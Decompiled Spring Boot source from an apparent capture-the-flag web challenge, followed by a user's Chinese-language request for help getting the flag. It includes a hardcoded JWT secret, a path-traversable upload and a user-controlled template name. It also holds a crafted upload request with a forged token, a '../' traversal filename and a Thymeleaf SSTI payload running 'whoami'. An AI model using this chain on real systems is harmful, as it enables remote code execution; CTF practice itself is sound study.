// // Source code recreated from a .class file by ...

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class AuthApplication {
public static void main(String[] args) {
SpringApplication.run(AuthApplication.class, args);
}
}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo;

import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
import org.springframework.stereotype.Service;

@Service
public class InMemoryUserDetailsService implements UserDetailsService {
private static final Map<String, User> USERS = new HashMap();

text
public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {
    User user = (User)USERS.get(username);
    if (user == null) {
        throw new UsernameNotFoundException("User not found with username: " + username);
    } else {
        return user;
    }
}

static {
    USERS.put("user1", new User("user1", "{noop}password1", true, true, true, true, Arrays.asList(new SimpleGrantedAuthority("ROLE_USER"))));
    USERS.put("admin", new User("admin", "{noop}adminpass", true, true, true, true, Arrays.asList(new SimpleGrantedAuthority("ROLE_ADMIN"))));
}

}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo;

import jakarta.servlet.FilterChain;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.web.filter.OncePerRequestFilter;

public class JwtAuthenticationFilter extends OncePerRequestFilter {
private final JwtTokenProvider jwtTokenProvider;
private final UserDetailsService userDetailsService;

text
public JwtAuthenticationFilter(JwtTokenProvider jwtTokenProvider, UserDetailsService userDetailsService) {
    this.jwtTokenProvider = jwtTokenProvider;
    this.userDetailsService = userDetailsService;
}

protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
    String tokenHeader = request.getHeader("Authorization");
    if (tokenHeader != null && tokenHeader.startsWith("Bearer ")) {
        String token = tokenHeader.substring(7);
        if (this.jwtTokenProvider.validateToken(token)) {
            String username = this.jwtTokenProvider.getUsernameFromToken(token);
            System.out.println(username);
            UserDetails userDetails = this.userDetailsService.loadUserByUsername(username);
            Authentication authentication = new UsernamePasswordAuthenticationToken(username, (Object)null, userDetails.getAuthorities());
            SecurityContextHolder.getContext().setAuthentication(authentication);
        }
    }

    filterChain.doFilter(request, response);
}

}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import org.springframework.stereotype.Component;

@Component
public class JwtTokenProvider {
private String secret = "25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03";

text
public boolean validateToken(String token) {
    try {
        Jwts.parserBuilder().setSigningKey(this.secret.getBytes()).build().parseClaimsJws(token);
        return true;
    } catch (Exception var3) {
        return false;
    }
}

public String getUsernameFromToken(String token) {
    Claims claims = (Claims)Jwts.parserBuilder().setSigningKey(this.secret.getBytes()).build().parseClaimsJws(token).getBody();
    return claims.getSubject();
}

}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
@RequestMapping({"/login"})
public class Login {
@GetMapping({"/dynamic-template"})
public String getDynamicTemplate(@RequestParam(value = "value",required = false) String value) {
if (value.equals("")) {
value = "login";
}

text
    return value + ".html";
}

}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo;

import java.io.File;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;

@Controller
public class MainC {
@PostMapping({"/upload"})
public String upload(@RequestParam("imgFile") MultipartFile file, @RequestParam("imgName") String name) throws Exception {
File dir = new File("uploadFile");
if (!dir.exists()) {
dir.mkdirs();
}

text
    String var10003 = dir.getAbsolutePath();
    file.transferTo(new File(var10003 + File.separator + name + ".html"));
    return "success";
}

}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.demo;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configurers.AuthorizeHttpRequestsConfigurer;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;

@Configuration
public class SecurityConfig {
private final JwtTokenProvider jwtTokenProvider;

text
public SecurityConfig(JwtTokenProvider jwtTokenProvider) {
    this.jwtTokenProvider = jwtTokenProvider;
}

@Bean
public UserDetailsService userDetailsService() {
    return new InMemoryUserDetailsService();
}

@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
    ((HttpSecurity)http.csrf().disable()).authorizeHttpRequests((authz) -> ((AuthorizeHttpRequestsConfigurer.AuthorizedUrl)((AuthorizeHttpRequestsConfigurer.AuthorizedUrl)((AuthorizeHttpRequestsConfigurer.AuthorizedUrl)authz.requestMatchers(new String[]{"/upload"})).hasRole("USER").requestMatchers(new String[]{"/"})).hasRole("USER").anyRequest()).permitAll()).addFilterBefore(new JwtAuthenticationFilter(this.jwtTokenProvider, this.userDetailsService()), UsernamePasswordAuthenticationFilter.class).formLogin((form) -> form.loginPage("/login/dynamic-template?value=login").permitAll());
    return (SecurityFilterChain)http.build();
}

}
这是一道web题源码，教我如何获取flag

POST /upload HTTP/1.1
Host: 45.40.247.139:24716
User-Agent: BurpSuite-Professional
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSIsImlhdCI6MTUxNjIzOTAyMn0.DZS2kJbMipMAv1l-pd6tLQhIQhu9-tIjKJg-V6CThXE
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAATTACKKK
Connection: close
Content-Length: 590

------WebKitFormBoundaryAATTACKKK
Content-Disposition: form-data; name="imgFile"; filename="111"
Content-Type: text/plain

<!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head><title>Test</title></head> <body> <h1>SSTI Test</h1> <p th:text="__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.k">Result</p> <hr> </body> </html> ------WebKitFormBoundaryAATTACKKK Content-Disposition: form-data; name="imgName"

../../../../../../../../tmp/evil
------WebKitFormBoundaryAATTACKKK--
这道题我将tmp改为upload就会报500的错，将text中的内容改为一些敏感内容也会返回500.请你帮我想想怎么做